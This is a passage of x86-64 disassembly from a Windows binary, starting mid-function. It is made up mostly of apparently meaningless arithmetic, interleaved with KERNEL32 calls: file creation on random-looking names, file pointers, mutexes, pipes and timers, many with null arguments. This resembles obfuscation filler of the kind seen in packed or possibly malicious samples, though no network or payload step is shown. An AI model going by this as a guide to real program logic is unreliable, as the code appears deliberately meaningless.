and rax, rcx
mov qword [rsp + 0xab48], rax
mov rax, qword [0x14022b9f0]
mov ecx, dword [rsp + 0x418c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4cec], eax
movsx eax, byte [rsp + 0x34c]
movsx ecx, byte [rsp + 0x38f]
and eax, ecx
mov byte [0x14022b813], al
mov rax, qword [rsp + 0xd060]
movzx eax, word [rax]
mov word [rsp + 0x21d8], ax
mov rax, qword [0x14022bb40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd580]
mov word [rcx], ax
mov rax, qword [rsp + 0xabd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc828]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1580], ax
mov rax, qword [0x14022bc20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb2a8]
mov qword [rsp + 0xd780], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd780]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8348], rax
mov rax, qword [rsp + 0xa788]
mov rax, qword [rax]
mov qword [rsp + 0xd788], rax
mov rax, qword [rsp + 0xa408]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40d]
xor eax, ecx
mov byte [rsp + 0x3aa], al
mov rax, qword [0x14022b890]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45a0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b10], eax
lea rcx, [rsp + 0x9de0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x141c]
mov qword [rsp + 0xd790], rax
lea rax, [rsp + 0x1e40]
mov qword [0x14022c118], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x14022be00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc8b8]
mov qword [rcx], rax
lea rax, [rsp + 0xa64]
mov qword [rsp + 0xd798], rax
mov rax, qword [rsp + 0xb450]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3aa0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a94], eax
movzx eax, byte [rsp + 0x3df]
movzx ecx, byte [0x140229f1d]
add eax, ecx
mov byte [rsp + 0x3d2], al
mov eax, dword [rsp + 0x4c04]
mov rcx, qword [rsp + 0xa2f0]
mov qword [rsp + 0xd7a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd7a0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3af4], eax
mov rax, qword [rsp + 0xcca8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd2e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7e28], rax
movzx eax, byte [0x14022b810]
mov byte [rsp + 0x412], al
lea rcx, [rsp + 0x9dc0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x2000]
movsx ecx, word [rsp + 0x1eec]
sub eax, ecx
mov rcx, qword [rsp + 0xc0d8]
mov word [rcx], ax
mov rcx, qword [rsp + 0xc948]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x9d8]
movzx ecx, word [rsp + 0x200c]
add eax, ecx
mov word [0x14022c0bc], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.3j7LDZK5k3EuNI_noq8N5
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd7a8], rax
mov rax, qword [0x14022b948]
mov rcx, qword [rsp + 0xbbd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9f10], rax
lea rax, [rsp + 0x8ac8]
mov qword [rsp + 0xd7b0], rax
movsx eax, word [rsp + 0x16c0]
mov rcx, qword [0x14022bcb0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb6e0]
mov word [rcx], ax
lea rax, [rsp + 0x19b4]
mov qword [rsp + 0xd7b8], rax
mov rax, qword [rsp + 0xc070]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x447c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4044], eax
mov rax, qword [0x14022b818]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d58]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa390], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0xcab8]
movzx eax, byte [rax]
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0x8e28]
movzx ecx, al
mov rax, qword [rsp + 0xcfb0]
shl rax, cl
mov qword [rsp + 0xc5c8], rax
mov rax, qword [rsp + 0xd468]
movsx eax, word [rax]
mov rcx, qword [0x14022ba58]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14022b828], ax
lea rax, [rsp + 0x1c8c]
mov qword [rsp + 0xd7c0], rax
mov rax, qword [rsp + 0x9d40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19e]
sar eax, cl
mov rcx, qword [rsp + 0xbd48]
mov byte [rcx], al
mov rax, qword [rsp + 0xa910]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3a7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c68], eax
mov rax, qword [rsp + 0xb5b0]
mov rcx, qword [rsp + 0x8f98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb20], rax
mov rax, qword [rsp + 0x82f8]
mov rcx, qword [rsp + 0x9b98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbac0], rax
mov rax, qword [0x14022c050]
movzx eax, byte [rax]
mov byte [rsp + 0x414], al
mov rax, qword [rsp + 0xa3a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa158]
mov qword [rsp + 0xd7c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd7c8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xd5a0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1db0]
mov rcx, qword [rsp + 0xb270]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1328], ax
mov rax, qword [rsp + 0xb548]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1db4]
and eax, ecx
mov word [0x14022a1f0], ax
mov rax, qword [rsp + 0xc8a8]
mov rcx, qword [rsp + 0xb628]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc5e8], rax
lea rdx, [rsp + 0x4b28]
mov rcx, qword [rsp + 0xa900]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c2c], eax
movzx eax, word [rsp + 0xb18]
mov rcx, qword [rsp + 0xb910]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xba50]
mov word [rcx], ax
lea rax, [rsp + 0x1380]
mov qword [rsp + 0xd7d0], rax
mov rax, qword [rsp + 0xcac8]
mov rcx, qword [rsp + 0xbd50]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8b78], rax
lea rcx, [rsp + 0xd7d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, dword [rsp + 0x497c]
mov dword [rsp + 0x4e00], eax
mov rax, qword [rsp + 0xbca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3fc]
shl eax, cl
mov byte [rsp + 0x3aa], al
mov rax, qword [rsp + 0xd350]
mov rcx, qword [rsp + 0xc610]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7e48], rax
lea rax, [rsp + 0x1b10]
mov qword [rsp + 0xd7e0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0x7400]
mov qword [0x14022c120], rax
mov rax, qword [rsp + 0xa160]
mov ecx, dword [rsp + 0x3a7c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xafa0]
mov dword [rcx], eax
movzx eax, byte [0x140229f1d]
mov byte [rsp + 0x415], al
movsx eax, word [rsp + 0x2080]
mov rcx, qword [rsp + 0xb168]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1d80], ax
movzx eax, word [rsp + 0x1cf8]
mov rcx, qword [rsp + 0xbfc8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2018], ax
mov eax, dword [rsp + 0x498c]
mov ecx, dword [rsp + 0x4c54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x396c], eax
movsx eax, byte [rsp + 0x364]
mov rcx, qword [rsp + 0xc880]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0xc468]
mov rax, qword [rax]
mov qword [rsp + 0xd7e8], rax
movsx eax, word [0x14022bf40]
movsx ecx, word [rsp + 0x19fc]
sub eax, ecx
mov word [rsp + 0x1da8], ax
movzx eax, word [rsp + 0x20f0]
mov rcx, qword [rsp + 0xa168]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140229f40], ax
mov rax, qword [rsp + 0xaba0]
mov rcx, qword [0x14022b840]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x72c8], rax
mov rax, qword [rsp + 0x8548]
mov rcx, qword [rsp + 0x7400]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6b0], rax
mov rax, qword [rsp + 0xc5e0]
mov rcx, qword [rsp + 0xd228]
mov qword [rsp + 0xd7f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd7f0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9cf0], rax
movzx eax, word [rsp + 0x1eec]
mov word [rsp + 0x21dc], ax
mov rax, qword [rsp + 0x9f88]
mov rcx, qword [rsp + 0xb488]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xd2e8], rax
lea rdx, [rsp + 0x4c94]
mov rcx, qword [rsp + 0xa6a0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x486c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.DJ9DB5Rj1wBwiD34jt6KllIar7dS1TzGpkHZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd7f8], rax
lea rax, [rsp + 0x397]
mov qword [rsp + 0xd800], rax
mov rax, qword [0x14022bda8]
mov rcx, qword [rsp + 0xa958]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xb338]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3af0]
mov rcx, qword [rsp + 0xaac0]
mov qword [rsp + 0xd808], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd808]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3fe0], eax
movzx eax, byte [rsp + 0x31c]
mov byte [rsp + 0x416], al
movsx eax, word [0x14022bbbc]
movsx ecx, word [rsp + 0x1f18]
add eax, ecx
mov rcx, qword [0x14022c098]
mov word [rcx], ax
mov rax, qword [rsp + 0xc770]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a7c]
sub eax, ecx
mov word [rsp + 0x7fc], ax
lea rcx, [rsp + 0x9d28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa935
mov rcx, qword [rsp + 0xb568]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4ac4], eax
mov rax, qword [rsp + 0xabd0]
movzx eax, word [rax]
movzx ecx, word [0x14022bb88]
add eax, ecx
mov word [rsp + 0xe1c], ax
mov rax, qword [rsp + 0xca68]
mov rcx, qword [rsp + 0xa418]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa448], rax
mov rax, qword [0x14022bbc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7cd0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd6d8], rax
lea rax, [rsp + 0x4c78]
mov qword [rsp + 0xd810], rax
mov rax, qword [rsp + 0xc810]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb6d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3b7], al
lea rax, [rsp + 0x1d6c]
mov qword [rsp + 0xd818], rax
movzx eax, word [rsp + 0x1ef8]
mov rcx, qword [rsp + 0xced0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x15f8], ax
mov rax, qword [rsp + 0xaab0]
mov rcx, qword [rsp + 0x9d38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14022a1f8], rax
mov rax, qword [rsp + 0xb5a8]
movzx eax, word [rax]
mov word [rsp + 0x21e0], ax
mov rax, qword [0x14022bcd0]
mov rcx, qword [rsp + 0xd410]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc958]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb7b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba38]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8a18], rax
lea rax, [rsp + 0xc980]
mov qword [rsp + 0xd820], rax
mov rax, qword [rsp + 0xb1e8]
mov eax, dword [rax]
mov rcx, qword [0x14022b9f0]
mov qword [rsp + 0xd828], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd828]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x97b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb218]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbd48]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0xc558]
mov rcx, qword [rsp + 0x9fc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xbcc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc6c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3bd], al
movzx eax, word [rsp + 0x1fa4]
mov word [0x14022c128], ax
lea rax, [rsp + 0xae8]
mov qword [rsp + 0xd830], rax
mov rax, qword [rsp + 0xc6c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c80]
sar eax, cl
mov word [rsp + 0x1f5c], ax
lea rdx, [rsp + 0x4d8c]
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4e04], eax
lea rcx, [rsp + 0xa470]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x1f64]
mov qword [rsp + 0xd838], rax
mov rax, qword [rsp + 0xbd40]
movsx eax, byte [rax]
mov rcx, qword [0x14022bc50]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc5d0]
mov byte [rcx], al
mov rcx, qword [rsp + 0xafd8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xbc50]
mov rcx, qword [rsp + 0xc4b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb380], rax
mov eax, dword [rsp + 0x4838]
mov dword [rsp + 0x4e08], eax
movsx eax, word [rsp + 0x1d30]
movsx ecx, word [rsp + 0x2198]
sub eax, ecx
mov word [rsp + 0x1e20], ax
lea rax, [rsp + 0xe78]
mov qword [rsp + 0xd840], rax
mov rax, qword [rsp + 0x84d0]
mov rcx, qword [rsp + 0x9bf8]
add rcx, rax
mov rax, rcx
mov qword [0x14022c048], rax
mov rax, qword [rsp + 0xb8c8]
movzx ecx, al
mov rax, qword [rsp + 0x7838]
sar rax, cl
mov qword [rsp + 0x85f8], rax
mov rax, qword [rsp + 0x9f10]
mov rcx, qword [rsp + 0xa960]
mov qword [rsp + 0xd848], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd848]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8d50], rax
lea rax, [rsp + 0xc348]
mov qword [rsp + 0xd850], rax
mov rax, qword [0x14022bb78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb220]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xd448]
mov word [rcx], ax
movzx eax, byte [rsp + 0x3b9]
mov byte [rsp + 0x417], al
lea rcx, [rsp + 0xd858]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x380
mov rcx, qword [rsp + 0xd488]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4ae8], eax
mov eax, dword [rsp + 0x4ce4]
mov ecx, dword [rsp + 0x3e70]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb510]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb818]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1b5], al
mov rax, qword [rsp + 0xcec0]
mov rcx, qword [rsp + 0xd6c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaa48]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov eax, dword [rsp + 0x416c]
mov dword [0x14022c12c], eax
mov rax, qword [rsp + 0xc090]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b5c]
and eax, ecx
mov rcx, qword [rsp + 0xcdb8]
mov word [rcx], ax
lea rax, [rsp + 0x1380]
mov qword [rsp + 0xd860], rax
movzx eax, word [rsp + 0x9ec]
mov rcx, qword [rsp + 0xcf98]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2104], ax
lea rcx, [rsp + 0xd868]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [0x14022bf70]
mov qword [rsp + 0xd870], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0xae00]
mov rcx, qword [rsp + 0xc390]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xce40]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc810]
movsx eax, byte [rax]
movsx ecx, byte [0x14022b810]
sub eax, ecx
mov byte [rsp + 0x349], al
lea rax, [rsp + 0xbac0]
mov qword [rsp + 0xd878], rax
movsx eax, word [rsp + 0x2044]
movsx ecx, word [rsp + 0x1ab0]
and eax, ecx
mov word [rsp + 0x1ccc], ax
lea rcx, [rsp + 0x9de0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0x9f50]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xaf38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20a0]
and eax, ecx
mov rcx, qword [0x14022ba60]
mov word [rcx], ax
lea rax, [rsp + 0xbbb8]
mov qword [rsp + 0xd880], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
movzx eax, word [rsp + 0x1cb4]
mov rcx, qword [rsp + 0xa0c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2178], ax
mov rax, qword [rsp + 0x9a48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd3e0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x99], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.kDevDwzGI0BoqWN59Z09ZxQ4zyyEs
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd888], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x9eed
mov rcx, qword [rsp + 0xaac8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4c80], eax
lea rdx, [rsp + 0x4e0c]
mov rcx, qword [rsp + 0xc698]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4d84], eax
mov eax, dword [rsp + 0x3fdc]
mov ecx, dword [rsp + 0x3e20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bf0], eax
movsx eax, byte [rsp + 0x3b6]
movsx ecx, byte [rsp + 0x36b]
or eax, ecx
mov byte [rsp + 0x110], al
mov rcx, qword [rsp + 0xbfd8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc788]
mov qword [rsp + 0xd890], rax
mov rax, qword [rsp + 0xad08]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4da8]
shl eax, cl
mov rcx, qword [rsp + 0xc608]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movsx eax, word [rsp + 0x1de8]
mov rcx, qword [rsp + 0xd240]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa24], ax
lea rdx, [rsp + 0x4d30]
mov rcx, qword [rsp + 0xd2a8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4e10], eax
movzx eax, word [rsp + 0x14e4]
mov rcx, qword [rsp + 0xcee0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14022a200], ax
mov rax, qword [rsp + 0xb780]
mov rcx, qword [rsp + 0x8018]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa990]
mov qword [rcx], rax
mov rax, qword [rsp + 0xae60]
mov rcx, qword [rsp + 0x8b08]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7898], rax
mov rax, qword [rsp + 0xae58]
movzx eax, word [rax]
mov word [rsp + 0x21e4], ax
movzx eax, word [rsp + 0x17d0]
movzx ecx, word [rsp + 0xb24]
sar eax, cl
mov word [rsp + 0x1994], ax
mov rax, qword [0x14022b890]
mov eax, dword [rax]
mov dword [rsp + 0x4e14], eax
mov rax, qword [rsp + 0xa2f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb00]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb978], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0xbe58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbc68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf0], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x2c66
mov rcx, qword [rsp + 0x9b50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x486c], eax
mov rax, qword [rsp + 0xc270]
mov rcx, qword [rsp + 0xbb20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x84f8], rax
mov rax, qword [rsp + 0xb020]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f3c]
and eax, ecx
mov word [0x14022a140], ax
movzx eax, word [0x14022bdf0]
mov rcx, qword [rsp + 0xc6c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d00], ax
mov rax, qword [rsp + 0xcc78]
mov eax, dword [rax]
mov dword [rsp + 0x4e18], eax
mov rax, qword [rsp + 0xcad8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3e7]
shl eax, cl
mov rcx, qword [rsp + 0xb610]
mov byte [rcx], al
mov rax, qword [rsp + 0xab18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa0a8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb6b0]
mov qword [rcx], rax
lea rax, [rsp + 0x7610]
mov qword [rsp + 0xd898], rax
mov eax, dword [rsp + 0x447c]
mov ecx, dword [rsp + 0x4894]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa7c8]
mov dword [rcx], eax
movsx eax, byte [0x14022b815]
movsx ecx, byte [rsp + 0x35a]
imul eax, ecx
mov byte [rsp + 0x2f5], al
movsx eax, word [rsp + 0x810]
mov rcx, qword [rsp + 0xb018]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbcb0]
mov word [rcx], ax
movzx eax, word [rsp + 0x12b4]
mov word [0x14022c130], ax
mov rax, qword [rsp + 0xa0a8]
mov rcx, qword [0x14022ba50]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9df0]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd8a0], rax
movzx eax, word [rsp + 0x2060]
mov word [rsp + 0x21e8], ax
movsx eax, word [rsp + 0x894]
movsx ecx, word [0x14022b98c]
add eax, ecx
mov word [rsp + 0x1434], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rax, [rsp + 0x6f98]
mov qword [rsp + 0xd8a8], rax
mov rax, qword [rsp + 0xaa48]
mov rcx, qword [rsp + 0xc138]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9ce8], rax
lea rax, [rsp + 0x36e]
mov qword [rsp + 0xd8b0], rax
mov rax, qword [rsp + 0xb8d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3b10]
shr eax, cl
mov dword [rsp + 0x3e30], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xd312
mov rcx, qword [rsp + 0xae08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4ce8], eax
mov r9d, 0x1a32
xor r8d, r8d
lea rdx, [rsp + 0xa278]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4e1c], eax
mov rax, qword [rsp + 0xb3b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19c4]
and eax, ecx
mov word [rsp + 0x1d1c], ax
mov rax, qword [rsp + 0xc8b8]
mov rcx, qword [rsp + 0xc868]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14022a0f8], rax
mov rax, qword [rsp + 0xb420]
mov eax, dword [rax]
mov dword [rsp + 0x4e20], eax
movzx eax, byte [rsp + 0x369]
mov rcx, qword [rsp + 0xaa78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x354], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea rcx, [rsp + 0xc060]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x1448]
movsx ecx, word [0x14022bcd8]
add eax, ecx
mov word [rsp + 0x19a0], ax
mov rax, qword [rsp + 0xa018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb1c]
xor eax, ecx
mov word [rsp + 0x1c0c], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4cc2
mov rcx, qword [rsp + 0xcc50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4d30], eax
mov rax, qword [rsp + 0xb908]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x410]
shl eax, cl
mov rcx, qword [rsp + 0xac58]
mov byte [rcx], al
mov rax, qword [rsp + 0xd5a0]
mov eax, dword [rax]
mov dword [rsp + 0x4e24], eax
mov rax, qword [rsp + 0xc380]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8128]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcde0]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.X479tyX_nufGSjSJAFGxfN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd8b8], rax
mov rcx, qword [rsp + 0xa278]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x21cc]
mov qword [rsp + 0xd8c0], rax
movzx eax, word [rsp + 0x1cf8]
mov rcx, qword [rsp + 0xb5a8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14022bb08]
mov word [rcx], ax
lea rdx, [rsp + 0x4e28]
mov rcx, qword [rsp + 0xabe0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4808], eax
mov rax, qword [rsp + 0xc9b0]
mov rcx, qword [rsp + 0xd270]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd880]
mov qword [rcx], rax
mov rax, qword [rsp + 0xabe8]
mov rcx, qword [rsp + 0xbbd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa810], rax
